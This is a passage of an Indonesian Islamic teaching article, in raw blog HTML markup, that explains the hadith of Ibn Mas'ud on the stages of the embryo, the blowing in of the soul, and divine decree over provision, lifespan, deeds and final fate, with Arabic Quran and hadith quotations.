berfirman:&lt;br /&gt;&lt;span style="color: blue;"&gt;ثُمَّ جَعَلَ نَسْلَهُ مِن سُلَالَةٍ مِّن مَّاءٍ مَّهِينٍ ٣٢:٨&lt;/span&gt;&lt;br /&gt;"Kemudian Dia menjadikan keturunannya dari saripati air yang hina (air mani). [as-Sajdah/32:8]&lt;br style="color: blue;" /&gt;&lt;span style="color: blue;"&gt;أَلَمْ نَخْلُقكُّم مِّن مَّاءٍ مَّهِينٍ ٧٧:٢٠&lt;/span&gt;&lt;br /&gt;"Bukankah Kami menciptakan kamu dari air yang hina". [al Mursalat/77:20].&lt;br /&gt;&lt;span style="color: blue;"&gt;خُلِقَ مِن مَّاءٍ دَافِقٍ يَخْرُجُ مِن بَيْنِ الصُّلْبِ وَالتَّرَائِبِ&lt;/span&gt;&lt;br /&gt;"Dia
 diciptakan dari air yang terpancar (yaitu mani). Yang keluar dari 
tulang sulbi laki-laki dan tulang dada perempuan". [ath-Thariq/86: 6-7].&lt;br /&gt;Bersatunya air mani (sperma) dengan sel telur (ovum) di dalam rahim ini disebut dengan nuthfah.&lt;br /&gt;Kedua : Kemudian setelah lewat 40 hari, dari air mani tersebut, Allah menjadikannya segumpal darah yang disebut ‘alaqah.&lt;br /&gt;&lt;span style="color: #274e13;"&gt;&lt;span style="color: blue;"&gt;خَلَقَ الْإِنسَانَ مِنْ عَلَقٍ&lt;/span&gt; &lt;span style="color: blue;"&gt;٩٦:٢&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;"Dia telah menciptakan manusia dengan segumpal darah". [al ‘Alaq/96:2].&lt;br /&gt;Ketiga
 : Kemudian setelah lewat 40 hari -atau 80 hari dari fase nuthfah- fase 
‘alaqah beralih ke fase mudhghah, yaitu segumpal daging. Allah Ta’ala 
berfirman:&lt;br /&gt;&lt;span style="color: blue;"&gt;ثُمَّ مِن نُّطْفَةٍ ثُمَّ مِنْ عَلَقَةٍ ثُمَّ مِن مُّضْغَةٍ مُّخَلَّقَةٍ&lt;/span&gt;&lt;br /&gt;"Kemudian dari segumpal daging yang sempurna kejadiannya dan yang tidak sempurna". [al Hajj/22:5].&lt;br /&gt;ثُمَّ
 خَلَقْنَا النُّطْفَةَ عَلَقَةً فَخَلَقْنَا الْعَلَقَةَ مُضْغَةً 
فَخَلَقْنَا الْمُضْغَةَ عِظَامًا فَكَسَوْنَا الْعِظَامَ لَحْمًا ثُمَّ 
أَنشَأْنَاهُ خَلْقًا آخَرَ ۚ فَتَبَارَكَ اللَّهُ أَحْسَنُ الْخَالِقِينَ 
٢٣:١٤&lt;br style="color: blue;" /&gt;&lt;span style="color: blue;"&gt;"Kemudian air 
mani itu Kami jadikan segumpal darah, lalu segumpal darah itu Kami 
jadikan segumpal daging, dan segumpal daging itu Kami jadikan tulang 
belulang, lalu tulang belulang itu Kami bungkus dengan daging. Kemudian 
Kami jadikan dia makhluk yang (berbentuk) lain. Maka Maha Sucilah Allah,
 Pencipta Yang Paling Baik". [al Mu’minun/23:14].&lt;/span&gt;&lt;br style="color: blue;" /&gt;&lt;span style="color: blue;"&gt;Keempat
 : Kemudian setelah lewat 40 hari -atau 120 hari dari fase nuthfah- dari
 segumpal daging (mudhghah) tersebut, Allah Subhanahu wa Ta'ala 
menciptakan daging yang bertulang, dan Dia memerintahkan malaikat untuk 
meniupkan ruh padanya serta mencatat empat kalimat, yaitu rizki, ajal, 
amal dan sengsara atau bahagia. Jadi, ditiupkannya ruh kepada janin 
setelah ia berumur 120 hari.&lt;/span&gt;&lt;br style="color: blue;" /&gt;&lt;span style="color: blue;"&gt;2.
 Peniupan Ruh. Para ulama sepakat, bahwa ruh ditiupkan pada janin ketika
 janin berusia 120 hari, terhitung sejak bertemunya sel sperma dengan 
ovum. Artinya, peniupan tersebut ketika janin berusia empat bulan penuh,
 masuk bulan kelima. Pada masa inilah segala hukum mulai berlaku 
padanya. Karena itu, wanita yang ditinggal mati suaminya menjalani masa 
‘iddah selama empat bulan sepuluh hari, untuk memastikan bahwa ia tidak 
hamil dari suaminya yang meninggal, agar tidak menimbulkan keraguan 
ketika ia menikah lagi lalu hamil.&lt;/span&gt;&lt;br style="color: blue;" /&gt;&lt;span style="color: blue;"&gt;Ruh
 adalah sesuatu yang membuat manusia hidup dan ini sepenuhnya urusan 
Allah, sebagaimana yang dinyatakan dalam firman-Nya, yang artinya: Dan 
mereka bertanya kepadamu tentang ruh. Katakanlah: “ruh itu termasuk 
urusan tuhanku, dan tidaklah kamu diberi pengetahuan melainkan sedikit".
 [al Isra`/17:85]&lt;/span&gt;&lt;br style="color: blue;" /&gt;&lt;span style="color: blue;"&gt;&lt;span style="color: red;"&gt;3. Wajibnya Beriman Kepada Qadar.&lt;/span&gt;
 Hadits ini menunjukkan, bahwa Allah Subahanhu wa Ta'ala telah 
mentakdirkan nasib manusia sejak di alam rahim. Pada hakikatnya, Allah 
telah mentakdirkan segala sesuatu sejak 50.000 tahun sebelum 
diciptakannya langit dan bumi. Rasulullah Shallallahu 'alaihi wa sallam 
bersabda:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;كَتَبَ اللهُ مَقَادِيْرَ الْخَلاَئِقِ قَبْلَ أَنْ يَخْلُقَ السَّمَاوَاتِ وَاْلأَرْضَ بِخَمْسِيْنَ أَلْفَ سَنَةٍ.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;"Allah telah mencatat seluruh takdir makhluk lima puluh ribu tahun sebelum Allah menciptakan langit dan bumi" [1].&lt;/span&gt;&lt;br style="color: lime;" /&gt;&lt;span style="color: lime;"&gt;Kemudian
 di alam rahim, Allah Ta’ala pun memerintahkan malaikat untuk mencatat 
kembali empat kalimat, yaitu rizki, ajal, amal, sengsara atau bahagia.&lt;/span&gt;&lt;br style="color: lime;" /&gt;&lt;span style="color: lime;"&gt;-
 Rizki. Allah Yang Maha Pemurah telah menetapkan rizki bagi seluruh 
makhluk-Nya, dan setiap makhluk tidak akan mati apabila rizkinya belum 
sempurna. Allah Ta’ala berfirman:&lt;/span&gt;&lt;br style="color: lime;" /&gt;&lt;span style="color: lime;"&gt;"Dan
 tidak ada suatu binatang melata pun di bumi melainkan Allah-lah yang 
memberi rizkinya, dan Dia mengetahui tempat berdiam binatang itu dan 
tempat penyimpanannya. Semuanya tertulis dalam kitab yang nyata (Lauh 
Mahfuzh)".[Hud/11:6].&lt;/span&gt;&lt;br style="color: lime;" /&gt;&lt;span style="color: lime;"&gt;"Dan
 berapa banyak binatang yang tidak (dapat) membawa (mengurus) rizkinya 
sendiri. Allah-lah yang memberi rizki kepadanya juga kepadamu dan Dia 
Maha Mendengar lagi Maha Mengetahui". [al Ankabut/29:60].&lt;/span&gt;&lt;br style="color: lime;" /&gt;&lt;span style="color: blue;"&gt;Rasulullah Shallallahu 'alaihi wa sallam bersabda:&lt;/span&gt;&lt;br style="color: blue;" /&gt;&lt;span style="color: lime;"&gt;&lt;span style="color: blue;"&gt;أَيُّهَا
 النَّاسُ اِتَّقُوا اللهَ وَأَجْمِلُوْا فِي الطَّلَبِ فَإِنَّ نَفْسًا 
لَنْ تَمُوْتَ حَتَّى تَسْتَوْفِي رِزْقَهَا وَإِنْ أَبْطَأَ عَنْهَا 
فَاتَّقُوا اللهَ وَأَجْمِلُوْا فِي الطَّلَبِ خُذُوْا مَا حَلَّ وَدَعُوْا
 مَا حَرُمَ&lt;/span&gt;.&lt;/span&gt;&lt;br /&gt;"Wahai manusia, bertakwalah kepada Allah 
dan sederhanalah dalam mencari nafkah. Karena sesungguhnya seseorang 
tidak akan mati hingga sempurna rizkinya. Meskipun (rizki itu) bergerak 
lamban. Maka, bertakwalah kepada Allah dan sederhanalah dalam mencari 
nafkah, ambillah yang halal dan tinggalkan yang haram".[2]&lt;br /&gt;Nabi 
Shallallahu 'alaihi wa sallam telah memberikan penjelasan tentang rizki 
ini dengan perumpamaan yang sangat mudah dipahami, dan setiap orang 
hendaknya dapat mengambil pelajaran darinya. Nabi Shallallahu 'alaihi wa
 sallam bersabda:&lt;br style="color: blue;" /&gt;&lt;span style="color: blue;"&gt;لَوْ
 أَ.نَّكُمْ تَوَكَّلْتُمْ عَلَى اللهِ حَقَّ تَوَكُّلِهِ لَرَزَقَكُمْ 
كَمَا يَرْزُقُ الطَّيْرَ؛ تَغْدُو خِمَاصًا وَتَرُوْحُ بِطَانًا&lt;/span&gt;&lt;br /&gt;"Seandainya
 kalian bertawakkal kepada Allah dengan sebenar-benarnya, niscaya Dia 
akan memberi kalian rizki sebagaimana Dia memberikan rizki kepada 
burung, yang pergi pagi dalam keadaan lapar dan pulang dalam keadaan 
kenyang".[3]&lt;br /&gt;Allah Subhanahu wa Ta'ala memerintahkan hamba-hamba-Nya 
untuk berjalan mencari maisyah (pekerjaan/usaha) untuk mendapatkan 
rizki. Allah Ta’ala berfirman:&lt;br /&gt;"Dia-lah yang menjadikan bumi itu 
mudah bagi kamu, maka berjalanlah di segala penjurunya dan makanlah 
sebagian dari rizki-Nya. Dan hanya kepada-Nya-lah kamu (kembali setelah)
 dibangkitkan". [al-Mulk/67:15].&lt;br /&gt;Rizki akan mengejar manusia, seperti maut yang mengejarnya. Rasulullah Shallallahu 'alaihi wa salam bersabda:&lt;br /&gt;&lt;span style="color: blue;"&gt;إِنَّ الرِّزْقَ لَيَطْلُبُ الْعَبْدَ كَمَا يَطْلُبُهُ أَجَلُهُ&lt;/span&gt;.&lt;br /&gt;"Sesungguhnya rizki akan mengejar seorang hamba seperti ajal mengejarnya".[4]&lt;br /&gt;-
 Ajal.Allah Maha Kuasa untuk menghidupkan makhluk, mematikan, dan 
membangkitkannya kembali. Dan setiap makhluk tidak mengetahui berapa 
jatah umurnya, juga tidak mengetahui kapan serta dimana akan dimatikan 
oleh Allah Ta’ala. Allah Ta’ala berfirman:&lt;br /&gt;"Sesuatu yang bernyawa 
tidak akan mati melainkan dengan izin Allah, sebagai ketetapan yang 
telah ditentukan waktunya. Barangsiapa menghendaki pahala dunia, niscaya
 Kami berikan kepadanya pahala dunia itu, dan barangsiapa menghendaki 
pahala akhirat, Kami berikan (pula) kepadanya pahala akhirat. Dan Kami 
akan memberi balasan kepada orang-orang yang bersyukur". [ali 
‘Imran/3:145]&lt;br /&gt;Ajal makhluk Allah sudah tercatat, tidak dapat dimajukan atau diundurkan. Allah Ta’ala berfirman:&lt;br /&gt;"Tiap-tiap
 umat mempunyai ajal (batas waktu); maka apabila telah datang waktu 
(ajal)nya, mereka tidak dapat mengundurkannya barang sesaat pun, dan 
tidak dapat (pula) memajukannya". [al A’raf/7: 34].&lt;br /&gt;-Amal.Allah 
Subhanahu wa Ta'ala telah mencatat amal-amal setiap makhluk-Nya, baik 
dan buruknya. Akan tetapi setiap makhluk Allah pasti akan beramal, amal 
baik atau pun amal buruk. Dan Allah dan Rasul-Nya memerintahkan para 
hamba-Nya untuk beramal baik.&lt;br /&gt;- Celaka atau Bahagia.Yang dimaksud 
“celaka” dalam hadits ini ialah, orang yang celaka dengan dimasukkannya 
ke neraka. Sedangkan yang dimaksud “bahagia”, yaitu orang yang sejahtera
 dengan dimasukkannya ke dalam surga. Hal ini telah tercatat sejak 
manusia berusia 120 hari dan masih di dalam rahim, yaitu apakah ia akan 
menjadi penghuni neraka atau ia akan menjadi penghuni surga. Akan 
tetapi, “celaka” dan “bahagia” seorang hamba tergantung dari amalnya 
selama hidupnya.&lt;br /&gt;Tentang keempat hal tersebut, tidak ada seorang pun 
yang mengetahui hakikatnya. Oleh karenanya, tidak boleh bagi seseorang 
pun enggan untuk beramal shalih, dengan alasan bahwa semuanya telah 
ditakdirkan Allah Subhanahu wa Ta'ala. Memang benar, bahwa Allah telah 
mentakdirkan akhir kehidupan setiap hamba, namun Dia Yang Maha Bijaksana
 juga menjelaskan jalan-jalan untuk mencapai kebahagiaan. Sebagaimana 
Allah Yang Maha Pemurah telah mentakdirkan rizki bagi setiap hamba-Nya, 
namun Dia juga memerintahkan hamba-Nya keluar untuk mencarinya.&lt;br /&gt;Apabila ada yang bertanya, untuk apalagi kita beramal jika semuanya telah tercatat (ditakdirkan)?&lt;br /&gt;Maka,
 Rasulullah Shallallahu 'alaihi wa sallam telah menjelaskan hal ini 
ketika menjawab pertanyaan Sahabat Suraqah bin Malik bin Ju’syum 
Radhiyallahu 'anhu. Beliau Shallallahu 'alaihi wa sallam bersabda:&lt;br /&gt;&lt;span style="color: blue;"&gt;اِعْمَلُوا
 فَكُلٌّ مُيَسَّرٌ لِمَا خُلِقَ لَهُ، أَمَّا مَنْ كَانَ مِنْ أَهْلِ 
السَّعَادَةِ فَيُيَسَّرُ لِعَمَلِ أَهْلِ السَّعَادَةِ وَأَمَّا مَنْ 
كَانَ مِنْ أَهْلِ الشَّقَاءِ فَيُيَسَّرُ لِعَمَلِ أَهْلِ الشَّقَاوَةِ.&lt;/span&gt;&lt;br /&gt;"Beramallah
 kalian, karena semuanya telah dimudahkan oleh Allah menurut apa yang 
Allah ciptakan atasnya. Adapun orang yang termasuk golongan orang-orang 
yang berbahagia, maka ia dimudahkan untuk beramal dengan amalan 
orang-orang yang berbahagia. Dan adapun orang yang termasuk golongan 
orang-orang yang celaka, maka ia dimudahkan untuk beramal dengan amalan 
orang-orang yang celaka".[5]&lt;br /&gt;Orang yang beramal baik, maka Allah akan
 memudahkan baginya untuk menuju surga. Begitu pun orang yang beramal 
keburukan, maka Allah akan memudahkan baginya untuk menuju neraka. Hal 
ini menunjukkan tentang kesempurnaan ilmu Allah, juga sempurnanya 
kekuasaan, qudrah dan iradah Allah Subhanahu wa Ta'ala. Allah Maha Kuasa
 atas segala sesuatu. Meskipun setiap manusia telah ditentukan menjadi 
penghuni surga atau menjadi penghuni neraka, namun setiap manusia tidak 
dapat bergantung kepada ketetapan ini, karena setiap manusia tidak ada 
yang mengetahui apa-apa yang dicatat di Lauhul Mahfuzh. Kewajiban setiap
 manusia adalah berusaha dan beramal kebaikan, serta banyak memohon 
kepada Allah agar dimasukkan ke surga.&lt;br /&gt;Meskipun setiap manusia telah 
ditakdirkan oleh Allah Ta’ala demikian, akan tetapi Allah tidak berbuat 
zhalim terhadap hamba-Nya. Allah Subhanahu wa Ta'ala berfirman :&lt;br /&gt;&lt;span style="color: blue;"&gt;مَّنْ عَمِلَ صَالِحًا فَلِنَفْسِهِ ۖ وَمَنْ أَسَاءَ فَعَلَيْهَا ۗ وَمَا رَبُّكَ بِظَلَّامٍ لِّلْعَبِيدِ ٤١:٤٦&lt;/span&gt;&lt;br /&gt;"Barangsiapa
 yang mengerjakan amal yang shalih, maka (pahala-nya) untuk dirinya 
sendiri. Dan barangsiapa yang berbuat jahat, maka (dosanya) atas dirinya
 sendiri; dan sekali-kali tidaklah Rabb-mu menganiaya hamba-hamba(Nya)".
 [Fushshilat/41:46].&lt;br /&gt;Setiap manusia diberi oleh Allah berupa 
keinginan, kehendak, dan kemampuan. Manusia tidak majbur (dipaksa oleh 
Allah). Allah Ta’ala berfirman:&lt;br /&gt;&lt;span style="color: blue;"&gt;لِمَن شَاءَ مِنكُمْ أَن يَسْتَقِيمَ ٨١:٢٨وَمَا تَشَاءُونَ إِلَّا أَن يَشَاءَ اللَّهُ رَبُّ الْعَالَمِينَ ٨١:٢٩&lt;/span&gt;&lt;br /&gt;"(Yaitu)
 bagi siapa di antara kamu yang mau menempuh jalan yang lurus. Dan kamu 
tidak dapat menghendaki (menempuh jalan itu) kecuali apabila dikehendaki
 Allah, Rabb semesta alam". [at-Takwir/:28-29].&lt;br /&gt;Orang yang 
ditakdirkan oleh Allah untuk menuju surga, maka dia pun akan dimudahkan 
oleh Allah untuk melakukan amalan-amalan shalih. Begitu juga orang yang 
ditakdirkan oleh Allah untuk menuju neraka, maka dia pun dimudahkan oleh
 Allah untuk melakukan amalan-amalan kejahatan.&lt;br style="color: blue;" /&gt;&lt;span style="color: blue;"&gt;عَنْ
 عَبْدِ اللهِ بنِ مَسْعوْدٍ رَضِيَ اللهُ عَنْهُ قالَ: حَدَّثَنَا 
رَسُوْلُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ وهُوَ الصَّادِقُ 
الْمَصْدُوْقُ: إنَّ أَحَدَكُم يُجْمَعُ خلقُهُ فِيْ بَطْنِ أُمِّهِ 
أَرْبَعِيْنَ يَوْمًا نُطْفَةً، ثُمَّ يَكُوْنُ عَلَقَةً مِثْلَ ذَلِكَ، 
ثُمَّ يَكُوْنُ مُضْغَةً مِثلَ ذَلِكَ، ثُمَّ يُرْسَلُ إِلَيْهِ الْمَلَكُ 
فيَنْفُخُ فِيْهِ الرُّوْحَ، وَيُؤْمَرُ بِأَرْبَعِ كَلِمَاتٍ: بِكَتْبِ 
رِزْقِهِ، وَأَجَلِهِ، وَعَمَلِهِ، وَشَقِيٌّ أَوْ سَعِيْدٌ، فَوَاللهِ 
الَّذِيْ لاَ إِلَهَ غُيْرُهُ، إِنَّ أَحَدَكُمْ لَيَعْمَلُ بِعَمَلِ 
أَهْلِ الْجَنَّةِ حَتَّى مَا يَكُوْنُ بَيْنَهُ وَبَيْنَهَا إِلاَّ 
ذِرَاعٌ فَيَسْبِقُ عَلَيْهِ الْكِتَابُ فَيَعْمَلُ بِعَمَلِ أَهْلِ 
النَّارِ فَيَدْخُلُهَا، وَإِنَّ أَحَدَكُمْ لَيَعْمَلُ بِعَمَلِ أَهْلِ 
النَّارِ حَتَّى مَا يَكُوْنُ بَيْنَهُ وَبَيْنَهَا إِلاَّ ذِرَاعٌ 
فَيَسْبِقُ عَلَيْهِ الْكِتَابُ، فَيَعْمَلُ بِعَمَلِ أَهْلِ الْجَنَّةِ 
فَيَدْخُلُهَا. (رَوَاهُ الْبُخَارِيُّ وَمُسْلِمٌ)&lt;/span&gt;&lt;br /&gt;Dari Abu 
‘Abdir-Rahman ‘Abdullah bin Mas’ud Radhiyallahu 'anhu, ia berkata, 
Rasulullah Shallallahu 'alaihi wa sallam menuturkan kepada kami, dan 
beliau adalah ash-Shadiqul Mashduq (orang yang benar lagi dibenarkan 
perkataannya), beliau bersabda,"Sesungguhnya seorang dari kalian 
dikumpulkan penciptaannya dalam perut ibunya selama 40 hari dalam bentuk
 nuthfah (bersatunya sperma dengan ovum), kemudian menjadi ‘alaqah 
(segumpal darah) seperti itu pula. Kemudian menjadi mudhghah (segumpal 
daging) seperti itu pula. Kemudian seorang Malaikat diutus kepadanya 
untuk meniupkan ruh di dalamnya, dan diperintahkan untuk menulis empat 
hal, yaitu menuliskan rizkinya, ajalnya, amalnya, dan celaka atau 
bahagianya. Maka demi Allah yang tidak ada ilah yang berhak diibadahi 
dengan benar melainkan Dia, sesungguhnya salah seorang dari kalian 
beramal dengan amalan ahli surga, sehingga jarak antara dirinya dengan 
surga hanya tinggal sehasta, tetapi catatan (takdir) mendahuluinya lalu 
ia beramal dengan amalan ahli neraka, maka dengan itu ia memasukinya. 
Dan sesungguhnya salah seorang dari kalian beramal dengan amalan ahli 
neraka, sehingga jarak antara dirinya dengan neraka hanya tinggal 
sehasta, tetapi catatan (takdir) mendahuluinya lalu ia beramal dengan 
amalan ahli surga, maka dengan itu ia memasukinya". [Diriwayatkan oleh 
al Bukhari dan Muslim]____________________________________________&lt;br /&gt;&lt;span style="color: blue;"&gt;4. Yang Menjadi Penentu Adalah Amal Seseorang di Akhir &lt;/span&gt;Kehidupannya.Selanjutnya Rasulullah Shallallahu 'alaihi wa sallam mengabarkan dua keadaan manusia di akhir hayatnya.&lt;br /&gt;Pertama,
 ada seseorang yang beramal dengan amalan ahli surga, akan tetapi di 
akhir hayatnya justru ia beramal dengan amalan ahli neraka, yang dengan 
itu ia pun masuk neraka.&lt;br /&gt;Rasulullah Shallallahu 'alaihi wa sallam bersabda:&lt;br style="color: blue;" /&gt;&lt;span style="color: blue;"&gt;إِنَّ
 الْعَبْدَ لَيَعْمَلُ فِيْمَا يَرَى النَّاسُ عَمَلَ أَهْلِ الْجَنَّةِ 
وَإِنَّهُ لَمِنْ أَهْلِ النَّارِ، وَيَعْمَلُ فِيْمَا يَرَى النَّاسُ 
عَمَلَ أَهْلِ النَّارِ وَهُوَ مِنْ أَهْلِ الْجَنَّةِ، وَإِنَّمَا 
اْلأَعْمَالُ بِخَوَاتِيْمِهَا.&lt;/span&gt;&lt;br /&gt;Sesungguhnya ada seorang hamba 
yang beramal dengan amalan ahli Surga menurut apa yang tampak di hadapan
 manusia, (namun) sebenarnya dia adalah penghuni Neraka, ada seorang 
hamba beramal dengan amalan ahli Neraka menurut apa yang tampak di 
hadapan manusia, (namun) sebenarnya dia adalah penghuni Surga. 
Sesungguhnya amal-amal itu tergantung daripada akhirnya.[6]&lt;br /&gt;Maksudnya, seseorang yang beramal dengan amalan ahli surga dalam pandangan manusia. Hal ini ada beberapa keadaan.&lt;br /&gt;-
 Dalam pandangan manusia, kaum munafik pun beramal dengan amalan ahli 
surga, seperti shalat, zakat, shadaqah dan lainnya, akan tetapi hatinya 
benci terhadap Islam, maka di akhir hayatnya dia akan beramal dengan 
amalan ahli neraka, yang dengan amalnya itu ia akan masuk neraka.&lt;br /&gt;- 
Orang yang beramal dengan amalan ahli surga, akan tetapi ia riya' (ingin
 dilihat dan dipuji oleh manusia), yang karenanya Allah menghapuskan 
ganjaran amalannya.&lt;br /&gt;- Orang yang pada masa hidupnya beramal dengan 
amalan ahli surga, akan tetapi di akhir hayatnya ia tergoda, sehingga ia
 pun beramal dengan amalan ahli neraka, yang dengan itu ia masuk neraka.&lt;br /&gt;- Orang yang beramal dengan amalan ahli surga, akan tetapi di akhir hayatnya ia tidak sanggup menghadapi ujian.&lt;br /&gt;Sebagaimana
 hadits yang diriwayatkan oleh Imam Muslim (no. 112 (179)) dan lainnya, 
bahwasanya ada seorang sahabat yang berperang di jalan Allah dengan 
gagah berani dan banyak membunuh orang-orang kafir, hingga para sahabat 
lainnya yang melihatnya berkata,"Pada hari ini, tidak ada seorang pun 
dari kami yang mendapatkan pahala sebagaimana ganjaran orang itu,” akan 
tetapi Rasulullah Shallallahu 'alaihi wa sallam bersabda:&lt;br /&gt;أَ&lt;span style="color: blue;"&gt;مَا إِنَّهُ مِنْ أَهْلِ النَّارِ.&lt;/span&gt;&lt;br /&gt;(Akan
 tetapi, sesungguhnya ia termasuk penghuni neraka). Kemudian seorang 
sahabat yang selalu menyertainya mengabarkan, bahwa orang tersebut bunuh
 diri karena tidak bersabar atas luka yang dideritanya.&lt;br /&gt;- Orang yang 
beramal dengan amalan ahli surga, akan tetapi di akhir hayatnya ia 
mengucapkan kata-kata kufur, yang dengan itu ia masuk neraka.&lt;br /&gt;Kedua. 
Kemudian Rasulullah Shallallahu 'alaihi wa sallam mengabarkan keadaan 
kedua, yaitu orang yang beramal dengan amalan ahli neraka, akan tetapi 
di akhir hayatnya ia beramal dengan amalan ahli surga, yaitu bertaubat 
kepada Allah, yang dengan itu ia pun masuk surga.&lt;br /&gt;Dalam hal ini ada 
beberapa contoh. - Seseorang yang selama hidupnya berada dalam 
kekafiran, akan tetapi sesaat di akhir hayatnya ia bertaubat dan masuk 
Islam, yang dengan itu Allah menghapuskan semua dosanya dan memasukkanya
 ke dalam surga. Hal ini termasuk indahnya Islam, bahwasanya orang kafir
 yang telah melakukan berbagai perbuatan dosa lalu ia masuk Islam, maka 
seluruh dosanya dihapuskan oleh Allah.&lt;br /&gt;Hal ini sebagaimana kisah ‘Amr
 bin ‘Ash, yang pada masa kafirnya banyak melakukan kejahatan, 
kezhaliman dan sangat membenci Rasulullah Shallallahu 'alaihi wa sallam,
 hingga ia berkata,&lt;br /&gt;&lt;span style="color: blue;"&gt;وَلاَ أَحَبَّ إِلَيَّ أَنْ أَكُوْنَ قَدِ اسْتَمْكَنْتُ مِنْهُ فَقَتَلْتُهُ&lt;/span&gt;.&lt;br /&gt;[Tidak
 ada yang lebih aku sukai melainkan aku dapat menjumpainya (yakni Nabi 
Shallallahu 'alaihi wa sallam ) lalu aku membunuhnya], akan tetapi, 
ketika Allah memberikan hidayah Islam ke dalam hatinya, ‘Amr pun segera 
menemui Nabi Shallallahu 'alaihi wa sallam, seraya menjulurkan tangannya
 untuk membai’at beliau. Rasul pun menjulurkan tangannya. Namun, ‘Amr 
menarik tangannya kembali. Seketika, maka ditanyakan oleh Rasulullah 
Shallallahu 'alaihi wa sallam : “Ada apa denganmu, wahai ‘Amr?” “Aku 
mengajukan syarat,” jawab ‘Amr. Rasul bertanya,"Apa syaratmu?” ‘Amr 
menjawab,"Asalkan dosaku diampunkan,” maka Rasulullah Shallallahu 
'alaihi wa sallam pun bersabda:&lt;br /&gt;&lt;span style="color: blue;"&gt;أَ.مَا عَلِمْتَ أَنَّ اْلإِسْلاَمَ يَهْدِمُ مَا كَانَ قَبْلَهُ، وَأَنَّ 
الْهِجْرَةَ تَهْدِمُ مَا كَانَ قَبْلَهَا، وَأَنَّ الْحَجَّ يَهْدِمُ مَا 
كَانَ قَبْلَهُ&lt;/span&gt;&lt;br /&gt;"Tidakkah engkau ketahui, bahwasanya Islam 
menghapuskan (dosa) sebelumnya? Sesungguhnya, hijrah (dari Mekkah ke 
Madinah) menghapuskan (dosa) sebelumnya, dan sesungguhnya haji 
menghapuskan (dosa) sebelumnya"&lt;br /&gt;Setelah itu berubahlah karakter ‘Amr bin ‘Ash Radhiyallahu 'anhu, sehingga ia berkata:&lt;br /&gt;&lt;span style="color: blue;"&gt;وَمَا كَانَ أَحَدٌ أَحَبَّ إِلَيَّ مِنْ رَسُوْلِ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ&lt;/span&gt;.&lt;br /&gt;"Tidak ada seorang pun yang lebih aku cintai selain Rasulullah Shallallahu 'alaihi wa sallam" [7].&lt;br /&gt;-
 Orang yang berbuat banyak dosa lalu ia bertaubat. Sebagaimana kisah 
seseorang yang telah membunuh 99 jiwa, lalu ia mendatangi seorang rahib 
untuk menanyakan, apakah masih ada pintu taubat baginya? Namun rahib itu
 menjawab, bahwa tidak ada pintu taubat baginya, maka dibunuhlah rahib 
itu, sehingga genap 100 jiwa yang telah dibunuhnya.&lt;br /&gt;Kemudian, ia 
mendatangi seorang ulama untuk menanyakan hal yang sama. Ulama tersebut 
menjawab, bahwa masih ada pintu taubat baginya, dengan syarat ia harus 
meninggalkan kampung asalnya yang penuh kejahatan, dan menuju suatu 
daerah yang di sana banyak orang rajin beribadah.&lt;br /&gt;Maka berangkatlah 
orang tersebut menuju daerah yang ditunjukkan ulama tadi. Namun, di 
tengah perjalanan, kematian terlebih dahulu menjemput nyawanya. Lalu 
Malaikat Rahmat dan Malaikat Adzab berebut untuk membawa nyawa orang 
tersebut, hingga datanglah malaikat berwujud manusia yang memberikan 
solusi dengan cara mengukur jalan yang telah ditempuhnya. Ternyata jarak
 ke arah daerah yang ditujunya lebih dekat sehasta. Maka, dibawalah 
nyawanya oleh Malaikat Rahmat.[8]&lt;br /&gt;Allah Ta’ala telah mengampuni 
seluruh dosanya dan memasukkannya ke dalam urga, padahal ia belum 
melakukan amal kebaikan apapun selain perjalanannya tersebut. Sungguh, 
rahmat dan ampunan Allah sangatlah luas.&lt;br /&gt;- Seseorang yang baru masuk 
Islam lalu meninggal ketika berjihad di jalan Allah. Sebagaimana yang 
diriwayatkan oleh Imam al Bukhari dan lainnya, bahwa ada seseorang yang 
melihat kaum Muslimin berperang, lalu ia pun ingin ikut berperang. Maka 
disiapkanlah baju besi, kemudian ia mendatangi Rasulullah Shallallahu 
'alaihi wa sallam seraya berkata,"Wahai Rasulullah, apakah aku masuk 
Islam terlebih dahulu, ataukah aku berperang?” Maka Rasulullah 
Shallallahu 'alaihi wa sallam menyuruhnya masuk Islam terlebih dahulu. 
Setelah mengucapkan syahadat, ia pun berperang sehingga ia tewas 
terbunuh. Maka Rasulullah Shallallahu 'alaihi wa sallam bersabda:&lt;br /&gt;&lt;span style="color: blue;"&gt;عَمِلَ قَلِيْلاً وَأُجِرَ كَثِيْرًا&lt;/span&gt;.&lt;br /&gt;"Dia beramal sedikit, namun diganjar yang besar (surga)".[9]&lt;br /&gt;Ketahuilah-semoga
 Allah merahmati kita semua- hadits ini menunjukkan, bahwa amal 
tergantung pada akhirnya. Oleh karena itu, kita tidak boleh tertipu 
dengan amal-amal yang telah kita kerjakan. Kita tidak boleh 
berkeyakinan, bahwa banyaknya amal yang telah dilakukan menjamin kita 
akan masuk surga. Akan tetapi, yang harus dilakukan adalah, agar kita 
senantiasa memohon kepada Allah, sehingga memasukkan diri kita ke dalam 
surga dan dijauhkan dari api neraka, serta memohon agar amal-amal kita 
diterima oleh-Nya. Hendaknya seorang muslim berada dalam dua keadaan, 
yaitu khauf (takut) dan raja’ (harap). Sebagaimana tidak boleh pula 
memastikan bahwa seseorang tidak akan mendapat petunjuk, atau mengatakan
 bahwa seseorang tidak akan diampunkan oleh Allah Ta’ala.&lt;br /&gt;Imam Ahmad 
meriwayatkan, ada seseorang yang mengatakan kepada seorang pendosa: 
"Demi Allah, Allah tidak akan mengampunimu atau Allah tidak akan 
memasukkanmu ke surga,” maka Allah mengutus Malaikat untuk mencabut 
arwah keduanya, lalu Allah berkata kepada pendosa itu: “Pergi dan 
masuklah ke surga dengan rahmat-Ku,” lalu Dia berkata kepada seorang 
lagi,&lt;br /&gt;&lt;span style="color: blue;"&gt;أَكُنْتَ بِي عَالِمًا أَكُنْتَ عَلَى مَا فِي يَدِي خَازِنًا اذْهَبُوا بِهِ إِلَى النَّارِ&lt;/span&gt;.&lt;br /&gt;“Apakah
 engkau lebih mengetahui daripada Aku? Apakah engkau mengetahui 
perbendaharaan yang ada di tangan-Ku? Lalu Allah berkata, “Bawalah ia ke
